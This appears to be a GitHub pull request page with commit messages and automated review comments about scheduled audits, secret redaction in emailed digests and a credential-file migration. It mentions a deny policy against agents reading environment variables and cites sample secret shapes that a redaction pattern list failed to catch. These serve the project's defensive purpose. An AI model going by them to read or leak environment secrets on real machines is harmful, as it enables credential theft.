Summary

Scheduled audits, end to end: a timer that runs on your machine, a page that says what it is doing, a command that configures it without a browser, and an email when a scan finds something worth knowing about.

This is the machine half. The server half is the api-server PR (harm digests). Deploy that first — this side degrades safely against an older server; see Rollout.

What this adds

failproofai audit --schedule [days] [--email you@yourdomain.com], plus --no-schedule and --status, with email-OTP sign-in in the terminal.

The switch previously existed only on a settings page, in a browser — while failproofaid is a system service (WantedBy=multi-user.target, starts at boot, needs no login, survives logout) built for exactly the machines that cannot open one: headless boxes, detached tmux, cron, CI runners. The feature shipped with no way to turn it on where it matters most. --email answers the first of the two sign-in questions up front, so it is one command and then the code; the code itself still needs a person, because it has to be read out of a mailbox.

Parity with the dashboard is structural rather than promised: every write calls the same updateConfig the server actions call, and the session goes through the same auth-store. One config.json, one audit/session.json, one writer for each. Verified live in both directions.

/settings rebuilt as a console for the service — a stat row (daemon, next scan, last scan, findings) over the controls and a plain statement of what the scan does. Three of the four stats needed no new storage. The countdown reads the daemon's own next_due_at_ms rather than deriving it, because deriving drifts the moment somebody changes the interval mid-cycle. daemonStartedAtMs reads systemd's monotonic activation stamp: the printed ActiveEnterTimestamp is locale-formatted, and a page claiming the daemon started in the future is worse than one that says nothing.

Harm reporting from the scheduled audit. A bare failproofai audit stays fully offline; only scheduling opts into mail. The window is applied per event rather than through --since, which filters on transcript mtime — a session left open for a month arrives with a fresh mtime and its whole history in tow, so the first digest anyone received would have described everything their agent had ever done as that week's news. Examples are redacted against the same SECRET_PATTERNS the blocking policies use, so there is one definition of "secret" rather than two that eventually disagree.

Layout 4auth.jsonaudit/session.json, next-audit.jsonaudit/reminder.json, state/audit-schedule.jsonaudit/schedule.json. auditDir is deliberately absent from HOME_CLASSES: it was classed derived wholesale, which was right for a directory of caches and became a trap the moment a credential moved in, because resettablePaths() is a filter over that table and a reset would have deleted the user's tokens.

Correctness work

Most of the later commits are defects found by review and by running the thing against a real machine. Recording them because they describe the shape of the risk:

DefectConsequence
The redactor emitted the username/home/sidd shortened to ~/…/sidd — the name kept as the basename, directly after the ~ meant to stand in for it — and it reached the server and the digest
The digest went quiet on mature machinesA straddling policy fell back to counting in-window examples; the audit keeps three per policy, so on an old machine all three were old, the row scored zero, and it was dropped from every later report too
A failed migration could strand a home as "current"writeVersionFile() stamped LAYOUT_VERSION rather than the step's own to — harmless at one hop, a trap the moment this release made a chain two. A failed 3 → 4 left a machine signed out with its session still on disk
FAILPROOFAI_AUTH_DIR signed people out on upgradeA documented env var pointing outside the managed home, which the layout-4 step never visited
A failed cleanup marked the migration successfulLeaving auth.json, a live bearer token, at the home root while the machine read as migrated
A first digest covered all of history5,815 findings on a real machine — someone's first email describing their agent's entire recorded history as that week's news
A truncated secret shipped as a fragmentThe audit caps examples at 80 chars before the redactor sees them, so a credential arrived with its tail already gone and no longer matched its own pattern
A dead session dead-ended the toggleNext masks thrown server-action errors, so a text match would have worked in development and silently degraded in production
A pasted OTP aborted the sign-inThe server answers a too-long code with validation_error, which the retry loop treated as fatal — so pasting the line out of the email cost a fresh code

Rollout

Scheduled audits are off by default and require a sign-in to enable, so no existing machine starts mailing anything.

New CLI against an older server: /v0/audit-reports 404s, report-harm.ts returns {kind: "failed"} and never throws, and the local audit and its dashboard are unaffected. Safe, but pointless — ship the api-server first.

Verification

3710 unit tests, tsc clean, zero lint errors.

Verified live on a real machine: terminal OTP sign-in, a scan over 22,074 tool calls across 230 sessions, the daemon spawning the child on its timer, harm selection → redaction → submission → digest, the cooldown holding and the window correctly not advancing, and the layout-3 → 4 migration run against a copy of a real home.


Review pass (2026-08-15)

A multi-agent review (7 dimensions → adversarial refutation → independent second
skeptic) turned up three merge-blockers and eighteen smaller findings. All are
fixed in the seven commits above; findings that were refuted, overstated, or
already guarded were dropped rather than actioned.

Blockers

DefectConsequence
An existing [audit] auto was read as consent to sendThrough 1.0.0 that key meant "scan locally on a timer" — no account, no network, no auth check on the action that wrote it, and the toggle's copy said so. Any machine with it set plus a session on disk would have uploaded transcript excerpts and mailed a digest on its first scheduled run after upgrading. Sending is now gated on a separate reports_consented_at stamp that only the two disclosing opt-in paths write; grandfathered machines keep scanning and send nothing
Raw export KEY=value secrets shipped verbatimprotect-env-vars is in the harmful set and its example is the whole command, while SECRET_PATTERNS matches vendor prefixes, not assignments. export DATABASE_PASSWORD=…, AWS_SECRET_ACCESS_KEY=…, _authToken=… and https://user:pass@host all left the machine unchanged — verified by running the real module
Layout 3→4 stranded every installed daemonrefuse_foreign_layout() shipped in 1.0.0 with LAYOUT_VERSION = 3, nothing refreshes the binary on upgrade, and the running daemon reads the marker only at startup — so the failure landed at the next reboot, where the unit crash-loops into failed and a fail-closed machine denies every tool call across all 11 CLIs. healDaemonFlag() excludes stopped, so it stayed that way

Also fixed

  • The migration's session backup outlived the migrationmigrationsDir is identity class and deleteAuth() only knew the live path, so sign-out, a 401 wipe and failproofai reset all left a working bearer token in backup-layout3/. A clean chain prunes it, a failed chain keeps it, sign-out sweeps stragglers.
  • A dead session read as a working destination--schedule printed reports to <address> with the expiry unread.
  • Each migration step stamps its own target, so a chain killed between steps cannot mark a layout-3 home current with its session unreachable forever; and a failed copy no longer leaves a partial destination for the retry to trust and delete the original behind.
  • The report window is clamped against its own end — a backwards clock jump made from later than to and dropped every finding, permanently.
  • extractCode no longer eats the surrounding sentence's digits; sk- no longer matches inside risk-scoring; a URL's host survives path shortening; a Mac isn't told its healthy daemon won't run; offline is told apart from expired; /settings can recover from a dead session and is gated by FAILPROOFAI_DISABLE_PAGES again; the daemon's start time stops counting suspend.

Docs and tests

docs/ was untouched by the original feature, so the audit page still told users
to enable scheduling by hand-editing the exact key whose meaning this release
changes, on a page claiming the audit runs "fully offline". Both pages are
current now, including what a digest sends. Locale copies regenerate with
bun run translate.

Three gaps closed: nothing pinned that a bare failproofai audit sends nothing
(the load-bearing privacy claim), submitAuditReport had no test at all so the
"older server degrades" claim rested on a mock of itself, and a dry-run
assertion derived its expectation from the function under test.

Verification

3734 unit tests, 316 e2e, tsc clean, 0 lint errors, build clean.

Still on you before merge: land the api-server harm-digest PR first, and
confirm that side escapes harmful[].examples when rendering the HTML email —
that is arbitrary shell text and nothing in this repo can establish it.

auth.json becomes audit/session.json, next-audit.json becomes
audit/reminder.json, and state/audit-schedule.json becomes
audit/schedule.json, so one directory answers "what does the audit know
about this machine" the way policies/ answers it for enforcement.
auditDir is now deliberately absent from HOME_CLASSES. It was classified
`derived` wholesale — correct for a directory holding two caches, and a
trap the moment a credential moved in, because resettablePaths() is a
filter over that table and a reset would have deleted the user's tokens.
It is MIXED now and classified per-file, exactly like state/ already is.
Two paths join them, and the split between them is the design rather than
tidiness: session.json holds the tokens (user-typed), machine.json holds
the report id and digest watermark (identity). Both have to outlive a
sign-out — regenerate the id and the server sees a new machine on every
logout; reset the watermark and the next digest re-reports months of
history — so they cannot live in the file a sign-out deletes.
The migration is three moves and no deletions, each a rename with a copy
fallback for the EXDEV case. A missing source is success (most homes never
signed in); an existing destination wins, since re-running the step is what
happens when a later step throws and the user retries. session.json's 0600
is reasserted rather than assumed, because the copy fallback inherits the
umask. All three are backed up first: auth.json is a live credential that,
unlike every other file in that list, was never on a delete list and so has
never had a copy taken before a migration touched it.
next-audit.json is MOVED rather than retired even though the scheduled-audit
work replaces reminders — deleting it before that lands would drop a cadence
a person chose, with no way back if the follow-up slipped.
Also fixes two landmark bugs in detectLayout() that the bump exposed, both
silent data loss:
- `config.toml` with no `config.json` returned LAYOUT_VERSION - 1, which
read correctly at 3 and reported a real layout-2 home as 3 at 4. Only the
3 -> 4 step would run, moving nothing and stamping the home current, so
config.toml and credentials.toml were never carried into JSON and the
cloud token and daemon.configured were orphaned. A landmark identifies
ONE layout and is never relative to what this build speaks.
- `config.json` proves "3 or later" and cannot separate them, so a layout-3
home that lost its VERSION was called current, the move never ran, and
the user was signed out with auth.json still on disk. What separates 3
from 4 is where the audit's files sit, so it asks that directly; with
none present the layouts are identical on disk and current is correct.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Two helpers in audit_lane_e2e.rs carried the old location: schedule_path()
wrote and read state/audit-schedule.json, and the unwritable-home test made
`state` a regular file to force create_dir_all to fail.
Both are spelled out rather than derived from paths.rs, deliberately — a test
that asked the code under test where the file goes would keep passing if the
daemon moved it somewhere the dashboard never reads. The cost is that they
have to be updated by hand when the path moves, which is this commit.
The second one is the reason to say so out loud: blocking the wrong directory
does not fail loudly, it lets the write succeed and leaves the test asserting
against a complaint that never comes.

📝 Walkthrough

Walkthrough

The change adds scheduled audit harm reporting, moves audit-owned files to layout 4, improves layout detection, and replaces reminder controls with scheduled-audit controls and explicit authentication intents.

Changes

Scheduled audit harm reporting

Layer / File(s)Summary
Report data and redaction contracts
src/audit/*, src/hooks/builtin-policies.ts, lib/auth/api-server-client.ts
The change classifies harmful findings, builds time-windowed reports, redacts examples, stores machine identity, and adds typed report submission contracts.
Scheduled report workflow
src/audit/report-harm.ts, src/audit/cli.ts, __tests__/audit/*
Scheduled audits optionally submit reports, persist server watermarks, report delivery outcomes, and isolate configuration, filesystem, and request failures.

Audit layout 4

Layer / File(s)Summary
Layout 4 paths and classifications
src/hooks/fp-home.ts, crates/failproofaid/src/paths.rs, lib/auth/auth-store.ts, __tests__/hooks/fp-home.test.ts, crates/failproofaid/tests/audit_lane_e2e.rs
Audit session, identity, reminder, and schedule files use audit/. Child paths receive separate classifications.
Layout detection and audit configuration
src/hooks/fp-config.ts, __tests__/hooks/fp-home.test.ts, __tests__/hooks/harness-extra-paths.test.ts, __tests__/actions/update-scheduled-audit.test.ts
Detection identifies stale layout 2 and layout 3 homes. Audit configuration persists the opt-in emailEnabled field.
Layout 3 to 4 migration
src/hooks/migrations.ts, __tests__/hooks/migrations.test.ts, CHANGELOG.md
Migration moves legacy audit files with backups, destination preservation, rename/copy fallback, permission restoration, version stamping, and dynamic migration-chain validation.

Audit controls and authentication

Layer / File(s)Summary
Scheduled-audit controls
app/audit/_components/come-back-better-section.tsx, app/actions/get-scheduled-audit.ts, app/actions/update-scheduled-audit.ts, app/audit/audit-styles.css, __tests__/audit/come-back-better-section.test.tsx
The audit page now controls scan scheduling and emailed reports. It displays daemon state, scan timing, authentication state, and report recipients.
Auth storage and reminder API removal
lib/auth/auth-store.ts, app/api/auth/status/route.ts, app/api/auth/reminder/route.ts, __tests__/lib/*
Session storage uses the audit layout. Reminder persistence, reminder endpoints, reminder API calls, and reminder status fields are removed. Pending invite and email-report intents remain distinct across authentication.

Estimated code review effort: 4 (Complex) | ~60 minutes

Merge Risk:🟠 High · up to 069c1

This PR changes credential migration, audit persistence, reporting, and dashboard behavior, but the current head can strand existing sessions, retain duplicate bearer credentials, leave credentials with unsafe permissions, and send audit findings outside the requested reporting window; the associated test suite also has a known failure, so the PR is not ready to merge without fixes.

High: Migrate or preserve custom auth-directory filenames

  • Rule: API-001
  • Location: lib/auth/auth-store.ts:47
  • Evidence: With FAILPROOFAI_AUTH_DIR set, getAuthFilePath() now reads /session.json (line 47) and getReminderFilePath() reads /reminder.json (line 54). Existing installations used /auth.json and /next-audit.json. The new migration only moves legacy paths resolved from FAILPROOFAI_HOME, so it never moves files in the custom directory. Reproduction: a valid existing /auth.json is followed by readAuth() returning null after this change.
  • Required change: Keep auth.json and next-audit.json as the filenames when FAILPROOFAI_AUTH_DIR is set, or explicitly migrate those override-directory files before switching readers. Add a regression test starting with a custom directory containing the legacy files.

Comment threadlib/auth/auth-store.ts
The reminder and "invite a friend" buttons share one AuthDialog, and which
one opened it was tracked only as `authCopy` — the headline and subhead to
show — while handleAuthed unconditionally called persistReminder.
So the dialog knew which button had been pressed for the purpose of its own
COPY and not for the purpose of its own EFFECT, and the invite path did the
reminder path's work: click "invite a friend", read "Oops! Login required",
sign in, and you got a 7-day reminder you never asked for and no invite
dialog. The actual intent went on the floor.
An explicit `pendingAction` carries the intent now, and the copy is DERIVED
from it so the two cannot disagree. The cadence travels inside the action
rather than being read from state at resume time, so the reminder that lands
is the one whose button was pressed even if something re-rendered in between.
Dismissing clears it — leaving it set would make the next sign-in, from any
CTA, resume something the user had walked away from — and "no pending action"
is now expressible at all, which it was not before.
The tests were the other half of why this shipped: they covered which COPY
each CTA shows and nothing else, so they were exactly as green on the broken
version as on the fixed one. Three now pin the effect.

High: Preserve custom auth-directory filenames

  • Rule: API-001
  • Location: lib/auth/auth-store.ts:47
  • Evidence: With FAILPROOFAI_AUTH_DIR set, getAuthFilePath() now resolves /session.json and getReminderFilePath() resolves /reminder.json. Before this PR both resolved auth.json and next-audit.json, and migrateToLayout4() only moves files under FAILPROOFAI_HOME. Thus an existing override directory retains valid legacy files but readAuth()/readReminder() return null after upgrade. The current auth-store tests use the helpers to create files, so they do not cover the legacy filenames.
  • Required change: Keep auth.json and next-audit.json when FAILPROOFAI_AUTH_DIR is set, or explicitly migrate the override directory before switching readers. Add a regression test seeded with legacy files in a custom auth directory.
1 advisory finding
  • Medium/High Do not stamp layout 4 when stale credential cleanup fails — When audit/session.json already exists, migrateToLayout4() catches and ignores an rmSync(from) failure for legacy auth.json, then continues to writeVersionFile(). A permission or filesystem error therefore leaves the old bearer credential at the unmanaged root path while VERSION says layout 4, so normal migration retries no longer remove it. (src/hooks/migrations.ts:145)

A new `[audit] email_enabled`, SEPARATE from `auto`. `audit --help` promises
the scan "runs fully offline — no account or network required", and that has
to stay true for anyone who wants scheduled scanning and nothing else. Off by
default, for a stronger version of `auto`'s reason: the failure direction is
a machine mailing an account nobody pointed it at.
## The window is applied per event, not through --since
--since filters on transcript MTIME. That is right for deciding which files
to open and wrong as a window: a session left open for a month has a fresh
mtime, so --since 7d hands back that whole transcript including month-old
events, and the first digest anyone received would describe everything their
agent had ever done as though it happened that week.
So the scan stays unfiltered and the window is applied in harm-report.ts,
against the timestamps AuditCount already carries. Where activity straddles
the boundary it counts the EXAMPLES inside the window rather than the
policy's total — the cache stores counts, not event lists, so there is
nothing to subtract. Undercounting is the safe direction: the server's
threshold reads these, so it can delay a digest but never invent one.
## Harm is deny + sanitize, plus one by hand
severityForBuiltin derives severity from the NAME PREFIX, so
`protect-env-vars` reads as `warn` despite blocking `env`/`printenv`
outright. Its whole subject is an agent reaching for the environment, which
is the "read my keys" case this exists to report. Inheriting a scoring
heuristic's blind spot into a security digest would be the wrong kind of
consistency — so it is listed explicitly rather than by rewriting a function
that feeds every historical score.
## One definition of "secret"
SECRET_PATTERNS is exported from builtin-policies.ts, so blocking and
redacting share a list instead of growing a second one beside it that
eventually disagrees — and the direction it would disagree in is a live
credential leaving a machine. The sanitize-* FUNCTIONS could not be reused:
they are detectors returning a deny, not transforms returning scrubbed text.
Masking runs BEFORE path-shortening. Shortening can cut a path mid-token,
and a credential sliced in half stops matching its own pattern and ships as
a fragment.
## machine.json is `identity`, and separate from the session
Both its fields must outlive a sign-out: regenerate the id and the server
sees a new machine on every logout, burning a cap slot and splitting one
box's history in two; reset the watermark and the next report re-covers
months. The id is minted fresh rather than reusing state/telemetry-id, so
opting into a digest never links the anonymous telemetry person to a
verified address.
## The child does this, never the daemon
Refresh rotation is theft-detecting. Keeping the token inside the audit lock
— which already serialises every entry point — is what stops a cross-process
race from revoking every session a user has.
Scheduled runs only, and nothing here can fail a scan: every error is an
outcome, so a dead network or an expired session leaves the local audit
working and its dashboard correct.

Hermes found blocking issues that should be addressed.

High: Redact secrets before the audit example is truncated

  • Rule: SEC-001
  • Location: src/audit/harm-report.ts:157
  • Evidence: The new outbound path redacts only at src/audit/harm-report.ts:157, but audit capture has already truncated the command/snippet to 80 characters at src/audit/index.ts:144. A full connection string or token-bearing command can trigger a sanitize policy before truncation, then lose the delimiter or remaining token characters that SECRET_PATTERNS needs to match. The remaining credential fragment is sent in harmful[].examples to /v0/audit-reports.
  • Required change: Apply secret masking before truncateExample stores examples, or retain truncation metadata and omit every truncated example from the outbound payload. Add a regression test with a secret whose terminating delimiter lies beyond the original 80-character limit.

High: Preserve legacy filenames when FAILPROOFAI_AUTH_DIR is set

  • Rule: API-001
  • Location: lib/auth/auth-store.ts:47
  • Evidence: Before this PR, the override directory was read as <override>/auth.json and <override>/next-audit.json; the new code reads <override>/session.json and <override>/reminder.json at lib/auth/auth-store.ts:47 and :54. Layout migration only operates under the managed home, so it cannot migrate an externally selected directory. Existing override users are therefore signed out and lose their persisted reminder after upgrade.
  • Required change: Keep auth.json and next-audit.json for the override path while using layout-4 names only in the managed home, or implement an explicit, safe migration for the externally configured directory.

High: Fail the migration when stale credential cleanup fails

  • Rule: SEC-001
  • Location: src/hooks/migrations.ts:146
  • Evidence: When audit/session.json already exists, migrateToLayout4 suppresses an rmSync(from) failure at src/hooks/migrations.ts:145-149 and continues to writeVersionFile() at line 179. A failed cleanup of legacy auth.json therefore permanently leaves a second bearer credential at the old root path while marking the home as layout 4, preventing a retry from cleaning it up.
  • Required change: Propagate the cleanup error (or otherwise leave the layout marker at 3) so the migration retries safely; add a test that forces deletion failure with an existing destination.

Comment threadsrc/audit/harm-report.ts
The two questions a person has after reading their audit — "can this happen
automatically" and "will it tell me" — were answered on a separate page they
had no reason to visit. The controls now sit under the report they act on,
as two panels in section 05: scan settings at 1.3fr against the share card's
1fr, per the mock.
/settings is removed rather than redirected. It held nothing else, and the
navbar is left with the three pages that are actually destinations.
The panel carries the daemon's state as a pill, because "scheduled scanning
is on" is not the same claim as "scheduled scanning will happen" — a panel
that hid the difference would present a stopped service as a feature that
simply does not work.
## Reminders are gone entirely
/api/auth/reminder, the cadence buttons, scheduleReminder/cancelReminder,
the reminder half of /api/auth/status, and the readReminder/writeReminder
store. The api-server deleted /v0/reminders in the same release so the
client calling it would 404 — and more to the point, the machine now audits
itself and mails a digest when it finds harm, so there is nothing left to
nudge anyone about.
audit/reminder.json is retired into `legacy` and cleared by the next reset.
The layout-4 step still MOVES next-audit.json there rather than deleting it:
a migration that destroys something a person chose is a different act from
one that relocates it, even when the thing is obsolete.
## Two switches
The email switch is separate from the scan switch and is the only one that
needs a sign-in — `audit --help` promises the scan runs fully offline, and
keeping them apart is what keeps that true. Turning email on while signed
out opens the shared dialog and resumes; the server action refuses an
anonymous enable rather than storing a switch that reads as on and does
nothing.
Signing out turns emailed reports off with it. The alternative is a machine
that scans, finds something, and has nothing to send it with — discoverable
only by noticing that no email ever arrives.

Hermes found blocking issues that should be addressed.

Review coverage was incomplete, but the concrete blocking findings below are sufficient to request changes.

High: Migrate sessions stored through FAILPROOFAI_AUTH_DIR

  • Rule: API-001
  • Location: lib/auth/auth-store.ts:48
  • Evidence: The documented override previously stored the session as /auth.json, but getAuthFilePath() now unconditionally reads /session.json (lib/auth/auth-store.ts:48). The layout-3-to-4 migration only moves legacy.authJson() under FAILPROOFAI_HOME (src/hooks/migrations.ts:140), so it never moves an override directory. An upgraded user of this documented setting is treated as signed out; the old refresh token is also left untracked and will not be deleted by later logout.
  • Required change: Keep the override filename compatible, or add an atomic auth-store migration/fallback from <FAILPROOFAI_AUTH_DIR>/auth.json to session.json that preserves mode 0600 and removes the old file. Add an upgrade test with the override set.
1 advisory finding
  • High/High Do not stamp layout 4 when stale credential cleanup fails — When a destination already exists, migrateToLayout4() catches and ignores an rmSync failure for the old source (src/hooks/migrations.ts:151-155), then continues to write VERSION as layout 4 (line 185). This is reachable after a partial copy/rename retry when auth.json is temporarily undeletable. The old bearer credential remains at the root permanently because future runs see the home as current; a subsequent logout only handles audit/session.json. (src/hooks/migrations.ts:152)

Round 4 of 5. If the next review still finds something blocking, I will summarize what is left, withdraw this change request, and stop reviewing this pull request until someone asks me to start again.

Still open:

  • F1 Migrate sessions stored through FAILPROOFAI_AUTH_DIR (lib/auth/auth-store.ts) — open since round 1
  • F2 Do not stamp layout 4 when stale credential cleanup fails (src/hooks/migrations.ts) — noticed at round 2, on code that had not changed since the round before, so it never blocked

If one of these is not worth fixing, @hermes-exosphere dismiss <id> [reason] waives it for the rest of this pull request and gives the review another round.

Three fixes, all found by running the whole stack against a real machine
rather than a fixture.
## A first report covered all of history
With no watermark the window was "everything". Against 230 sessions and
22,059 tool calls that produced 5,815 findings — every number true and the
digest still wrong: somebody's first email would describe their agent's
entire recorded history as though it were this week's news, and would trip
the critical-policy bypass on day one for essentially everyone.
A first report is now bounded to one interval_days back from the scan, so
the opening digest covers the same period every later one does. The same run
then reports 17. The older findings are not lost, they are simply not news —
they are on the dashboard, which is where a full history belongs.
`includeUnplaceable` moves to keying on "is this the first report" rather
than "is there a lower bound", since a first report now always has one.
## A truncated secret shipped as a fragment
A real digest came back containing `authorization: Bearer s`.
The audit caps every example at 80 characters at CAPTURE time, long before
the redactor sees it, so a command ending in a credential arrives with the
credential's tail already gone and the full pattern no longer matches it.
That is the exact failure the mask-before-shorten ordering guards against,
arriving from upstream instead of from our own transform.
A second pass masks a known secret prefix sitting at the END of a string, on
the assumption it was cut. One character is not a usable secret; the point is
that the number was set by where the truncation happened to land rather than
by anything we control, and the same shape with a longer prefix ships more.
## /dev/null was being shortened to /…/null
Which reads as though something was hidden when nothing was. Kernel and
device roots are identical on every machine and identify nobody.

Fail the migration when chmodSync cannot enforce 0600.

The copy fallback can preserve permissive source permissions. If chmodSync fails, writeVersionFile() still stamps layout 4 while audit/session.json may expose its bearer token. Propagate the error so runMigrations() records failure and leaves VERSION at layout 3. Add a regression test with a non-0600 source that forces chmodSync to fail.

I have spent 5 rounds of review on this pull request and I am still finding things to block on. At that point I am no longer the useful reviewer here, so I am standing down and leaving the decision to a person.

I have withdrawn my change request, so I am no longer blocking this pull request. I have also stopped reviewing new commits on it.

What I last reviewed: 069c19ba5829.

Still open:

  • F1 Custom auth-directory sessions become unreadable after upgrade (lib/auth/auth-store.ts) — open since round 1

  • F2 Migration marks layout 4 after failing to remove a stale bearer credential (src/hooks/migrations.ts) — noticed at round 2, on code that had not changed since the round before, so it never blocked

  • @hermes-exosphere dismiss <id> [reason] waives one of these for the rest of this pull request and starts me again.

  • @hermes-exosphere review [focus] starts over from a clean slate, with the waivers kept.

  • @hermes-exosphere reconsider [reason] asks for one more decision on what is here now.

None of this is a judgement that the findings above are wrong. It is a judgement that another round of me is not what will settle them.

hermes-exosphere dismissed stale reviews from themself August 14, 2026 12:52

Hermes spent 5 rounds on this pull request without converging and has stood down. This change request is stale and should not block the merge.

SiddarthAAand others added 6 commits August 14, 2026 19:26
The controls sit at /settings again, reached by a gear in the header between
the refresh controls and reach-us. An icon, not a fourth nav tab: the tabs
are views of DATA (projects, policies, audit) and this is machine
configuration, so putting it in that row would have claimed it was another
place to look at results.
Section 05 keeps one job and is now "spread the audit" — the share card and
nothing else. A report should not end in a settings form.
The panel is built from what the service actually has (a state, a timer, an
identity), on the app's existing tokens and existing chrome — `.panel` and
its corner brackets, `.btn-press` and its hard pixel offset. One drawn
element: a schedule tape showing where this machine sits between the last
scan and the next, because that is a POSITION and no number shows a position
at a glance. It renders nothing without two real ends — a machine that has
never run a scheduled scan is not inside an interval, and a rail claiming
otherwise would be decoration.
## One switch, not two
`audit.email_enabled` is gone. Scheduling and mailing are the same decision —
the reason to put a scan on a timer is to be told what it found — so two keys
could only ever disagree, and a timer with nobody to tell is a switch that
reads as on and produces nothing.
"Signed out with the timer on" is therefore DERIVED from the session rather
than stored, and the page names it ("scans continue, digests are paused")
rather than preventing it. Auth gates setting the timer up, never the
machine's ongoing work: a refresh token expiring must not silently switch off
a background feature somebody configured months ago.
## Server-rendered, not fetched after mount
The client-side version painted "off. nothing runs and nothing is sent." and
then flipped to the truth — a page whose whole job is to say whether a
security feature is on spending its first frame saying the opposite. It reads
local files, so there was never a latency reason to defer it. `nowMs` is the
one thing still seeded on the client, deliberately: a server clock would put
the tape's marker where the browser then corrects it.
Also fixes a test that exhausted a 4GB worker heap. The PostHog mock returned
a fresh `vi.fn()` per call, so `capture` changed identity every render and
AuthDialog's effect — which lists it as a dep — re-fired forever. The same
trap is already documented in auth-dialog.test.ts; this one just repeated it.

`redactExample` resolves the real `homedir()` to decide whether a path earns
the `~` prefix. The test fed it a hardcoded `/home/sidd/clients/big-bank/.env`
and expected `~/…/.env` — which holds on the box that wrote it and nowhere
else. On CI, HOME is /home/runner, so the same input correctly redacts to
`/…/.env` and the assertion failed.
The path is now built from `homedir()`, so the test is about the REDACTION
(no project name survives, the basename does, the tilde marks it as under
home) rather than about whose laptop ran it.
Reproduced locally by overriding HOME before fixing, which fails identically
to CI, and re-checked after — the whole audit suite passes under a foreign
HOME too. The other hardcoded paths in redact-example.test.ts are fine: those
call sites pass `home` explicitly as a parameter, so the test controls it
rather than inheriting it.

`failproofai audit --schedule [days]` / `--no-schedule` / `--status`.
The switch existed only on a settings page, in a browser. failproofaid is a
SYSTEM service — WantedBy=multi-user.target, starts at boot, no login, survives
logout — built for exactly the machines that cannot open one: headless boxes,
detached tmux, cron, CI runners. The feature shipped with no way to turn it on
where it matters most.
Parity is structural rather than promised. Every write calls the same
`updateConfig` the dashboard's server actions call; the session goes through the
same `auth-store`. One config.json, one audit/session.json, one writer for each
— so a value set on either side is the value the other reads, verified live in
both directions. Terminal sign-in reuses requestLoginCode/verifyLoginCode and
writes the same 0600 session file, so logging in here shows up in the browser.
Two orderings decide whether a half-finished command leaves state behind, and
both are tested: a bad day count is rejected BEFORE sign-in, so a typo never
costs a round of OTP; and --schedule requires a session (scheduling and mailing
are one decision) while --no-schedule never checks, because an expired session
must not trap somebody into keeping a feature they are trying to disable.
Turning it on reports the daemon's state, since config saying "on" with nothing
running it is the same silent failure the settings panel exists to expose. A
non-interactive terminal gets one sentence instead of a hang on a prompt nobody
will answer.
Two doc comments in app/actions/ claimed the `failproofai config` wizard already
wrote these keys. It never did — the wizard calls updateConfig zero times — so
they are corrected rather than left describing a command that did not exist.

Two rows drawn as one instrument: a stat row (daemon, next scan, last scan,
findings) over a panel row carrying the controls beside what the scan actually
does. The page answered one question — is the toggle on — and now answers the
two anybody has in front of a background service: what it is doing right now,
and what it does with what it finds.
Built on the shipped tokens rather than the design doc's own palette and two new
webfonts, so /settings and /audit stay one product a click apart. The doc's third
hue is dropped rather than introduced: pink is this brand's only channel for
"needs a person", and a new rule for one page is not a rule.
Three of the four stats needed no new storage, and two are better than the doc
assumed. The countdown reads the daemon's own next_due_at_ms instead of
last-scan-plus-interval, which drifts the moment the interval changes mid-cycle.
The daemon cell keeps daemonServiceStatus()'s four answers, because "installed
but its binary is missing" is a different fix from "it crashed" and a heartbeat
cannot tell them apart. `findings` reports this scan, not a lifetime total —
that would have meant a counter, a writer on two paths, and a decision about what
a reset does to it.
readDashboardCacheMeta now returns the counts with the timestamp and still
bypasses the TTL on purpose: the reader that drops an aged entry is right for
rendering results and backwards for a stat whose subject is that the scan was a
while ago. Reading the time from one function and the counts from the other is
how a page shows "6 days ago" beside a blank count. An unreadable count renders
as em-dash, never 0 — scanned-and-clean is not the same claim as failed-to-parse.
daemonStartedAtMs reads systemd's monotonic activation stamp, not the printed
ActiveEnterTimestamp: that format (Fri 2026-08-14 19:45:13 IST) is rejected by
Date.parse on most timezone abbreviations and mis-parsed on the rest, and a
settings page claiming the daemon started in the future is worse than one that
says nothing. It returns an absolute time so the page keeps counting without
re-fetching, and null on macOS rather than a guess.
The schedule tape survives, under the panels: the stats give numbers, the tape
gives a position, which is the one thing no number shows at a glance.

The label read `━━ audit · first run` in three colours — pink rule, dim dot,
mint text — presenting one fact as three things on a line.
`.section-label .glyph` was declared twice, in globals.css and again in
audit/audit-styles.css, and the audit copy loads second. Changing only the
first one edited a value nothing read, and the page kept rendering pink; both
inherit now, so the two files cannot silently disagree again.
/settings drops its `━━ this machine ━━` eyebrow — the h1 already says settings
and the page is about this machine either way — and its tagline becomes
"keeping watch, so you don't have to."

Turning scheduled audits on asks the api-server who you are, while the page
reads "reports go to …" off the local session file. The two disagree exactly
when a session has expired or was minted against a different api-server — the
common case, not an edge one — so the toggle took the signed-in path and the
click dead-ended on "could not turn that on.", with no dialog and no next step.
Catching the refusal was not available: Next masks a thrown server-action error
before the browser sees it, so the client receives an opaque digest and never
the message. Matching on the text would have worked in development and silently
degraded to a generic failure in production, which is what shipped.
So the refusal is RETURNED — `{ok: false, reason: "signed-out"}` — a
discriminant that survives the boundary. The page re-reads before opening the
dialog, or it would ask for an email while still displaying one. Turning
scheduling OFF is still never refused.
Also: the settings panel's "sends" line stops claiming "only counts and
redacted examples". The report carries the machine's name too, which routinely
carries its owner's, and very nearly true is the worse kind of claim when the
reader can check it against the same email. It now lists all three, in the
order the digest states them.

Four of thirteen review findings survived checking against the code. The others
were stale — the truncated-secret leak and the machine-dependent CI assertion
are already fixed, and three cite a component that has since been rewritten.
**The redactor emitted the username.** `/home/sidd` shortened to `~/…/sidd`,
keeping the name as the basename directly after the `~` whose whole job is to
stand in for it. The one path guaranteed to identify a person was the one path
spelled out, and it reached the api-server in `harmful[].examples` and the
digest email. The home directory is `~` now, and nothing more.
That fix exposed a second defect under it: `underHome` was a bare `startsWith`,
so a home with a trailing slash did not match itself — turning off home
detection for exactly the path that most needed it — and `/home/u2` matched
`/home/u`. The boundary is checked, once, outside the replace callback.
**A policy straddling the window's upper edge reported hits from after it.**
`wholly` tested the lower bound alone, so a policy that started inside the
window and was still firing after it closed sent `count.hits` — every hit,
including those past `to` — while its examples were filtered to the window.
Those hits also fall inside the NEXT window, since the watermark advances to
`to`, so one occurrence was reported twice. Both edges are checked now; a
straddle at either falls back to the examples actually inside.
**`FAILPROOFAI_AUTH_DIR` signed people out on upgrade.** A documented env var
naming a directory outside the managed home, and every path in the layout-4
step comes from FAILPROOFAI_HOME — so that directory was never visited, the
file stayed `auth.json`, layout 4 read `session.json`, and the session vanished
with no message. Scans kept running, digests quietly stopped. The step migrates
that directory too.
